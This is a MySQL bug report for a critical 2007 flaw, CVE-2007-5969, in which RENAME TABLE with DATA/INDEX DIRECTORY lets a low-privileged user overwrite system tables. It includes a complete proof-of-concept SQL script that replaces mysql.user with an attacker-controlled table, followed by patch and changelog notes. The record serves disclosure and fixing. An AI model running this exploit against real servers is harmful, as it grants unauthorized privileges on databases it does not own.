Bug #32111 Security Breach via DATA/INDEX DIRECTORY and RENAME TABLE
Submitted: 5 Nov 2007 15:01 Modified: 15 Nov 2007 8:19
Reporter: Mattias Jonsson
Status: Closed
Category:Server: MyISAM Severity:S1 (Critical)
Version:4.0-> OS:Linux
Assigned to: Sergey Vojtovich Target Version:5.0.51,5.0.52,5.1.23
Tags: backport_050050SP1

[5 Nov 2007 15:01] Mattias Jonsson
Description:
privileges in test-db is enough to change all MyISAM tables on the server, including the
privileges tables and more.

It is done by creating a table with DATA DIRECTORY/INDEX DIRECTORY pointing to the target
database, then renaming the table into the target table. (see how to repeat)

Found this when looking into Bug#32091, the same can be done without partitioning, only
using MyISAM

Found in 5.1 but exists probably from 4.0 and up.

How to repeat:
-- disable_warnings
drop table if exists t1;
-- enable_warnings
grant usage on test.* to eviluser@localhost;
use mysql;
select host from mysql.user;
show create table user;
connect(con1,localhost,eviluser,,);
connection con1;
use test;
CREATE TABLE `userevil` (
  `Host` char(60) COLLATE utf8_bin NOT NULL DEFAULT '',
  `User` char(16) COLLATE utf8_bin NOT NULL DEFAULT '',
  `Password` char(41) CHARACTER SET latin1 COLLATE latin1_bin NOT NULL DEFAULT '',
  `Select_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Insert_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Update_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Delete_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Drop_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Reload_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Shutdown_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Process_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `File_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Grant_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `References_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Index_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Alter_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Show_db_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Super_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_tmp_table_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Lock_tables_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Execute_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Repl_slave_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Repl_client_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_view_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Show_view_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_routine_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Alter_routine_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_user_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Event_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Trigger_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `ssl_type` enum('','ANY','X509','SPECIFIED') CHARACTER SET utf8 NOT NULL DEFAULT '',
  `ssl_cipher` blob NOT NULL,
  `x509_issuer` blob NOT NULL,
  `x509_subject` blob NOT NULL,
  `max_questions` int(11) unsigned NOT NULL DEFAULT '0',
  `max_updates` int(11) unsigned NOT NULL DEFAULT '0',
  `max_connections` int(11) unsigned NOT NULL DEFAULT '0',
  `max_user_connections` int(11) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`Host`,`User`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='Users and global
privileges',
  DATA DIRECTORY '/usr/local/mysql/var/master-data/mysql',
  INDEX DIRECTORY '/usr/local/mysql/var/master-data/mysql';
insert into userevil (host,user) values ('evilhost','eviluser');
rename table userevil to user;
connection default;
flush tables;
flush privileges;
select host from mysql.user;

Suggested fix:
Do not allow rename to existing files.
[5 Nov 2007 15:15] Domas Mituzas
Reproduced that on 4.0, 4.1, 5.0
[5 Nov 2007 15:21] Domas Mituzas
Workaround: --skip-symbolic-links
[6 Nov 2007 16:07] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/37190

ChangeSet@1.2215, 2007-11-06 18:09:33+04:00, svoj@mysql.com +3 -0
  BUG#32111 - Security Breach via DATA/INDEX DIRECORY and RENAME TABLE
  
  RENAME TABLE against a table with DATA/INDEX DIRECTORY overwrites
  the file to which the symlink points.
  
  This is security issue, because it is possible to create a table with
  some name in some non-system database and set DATA/INDEX DIRECTORY
  to mysql system database. Renaming this table to one of mysql system
  tables (e.g. user, host) would overwrite the system table.
  
  Return an error when the file to which the symlink points exist.
[12 Nov 2007 14:43] Bugs System
Pushed into 4.0.31
[14 Nov 2007 10:40] Bugs System
Pushed into 6.0.4-alpha
[14 Nov 2007 10:45] Bugs System
Pushed into 5.1.23-rc
[14 Nov 2007 10:49] Bugs System
Pushed into 5.0.52
[14 Nov 2007 10:56] Bugs System
Pushed into 4.1.24
[14 Nov 2007 20:35] Sergei Golubchik
CVE-2007-5969
[15 Nov 2007 8:19] MC Brown
A note has been added to the 4.0.31, 4.1.24, 5.0.52, 5.1.23, and 6.0.4 changelogs: 

Security Fix: Using RENAME TABLE against a table with explicit DATA DIRECTORY and INDEX
DIRECTORY options can be used to overwrite system table information by replacing the
symbolic link points. the file to which the symlink points.

MySQL will now return an error when the file to which the symlink points already exists.
[15 Nov 2007 10:55] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/37835

ChangeSet@1.2539, 2007-11-15 10:55:47+01:00, joerg@mysql.com +3 -0
  BUG#32111 - Security Breach via DATA/INDEX DIRECORY and RENAME TABLE
  
  RENAME TABLE against a table with DATA/INDEX DIRECTORY overwrites
  the file to which the symlink points.
  
  This is security issue, because it is possible to create a table with
  some name in some non-system database and set DATA/INDEX DIRECTORY
  to mysql system database. Renaming this table to one of mysql system
  tables (e.g. user, host) would overwrite the system table.
  
  Return an error when the file to which the symlink points exist.
  
  (This is a copy of changeset 2007/11/06 18:09:33+04:00 svoj@mysql.com
  and its merge changesets on the way from 4.0 up to 5.0)
[30 Nov 2007 18:59] Joerg Bruehe
The fix for this is also in the community release 5.0.51.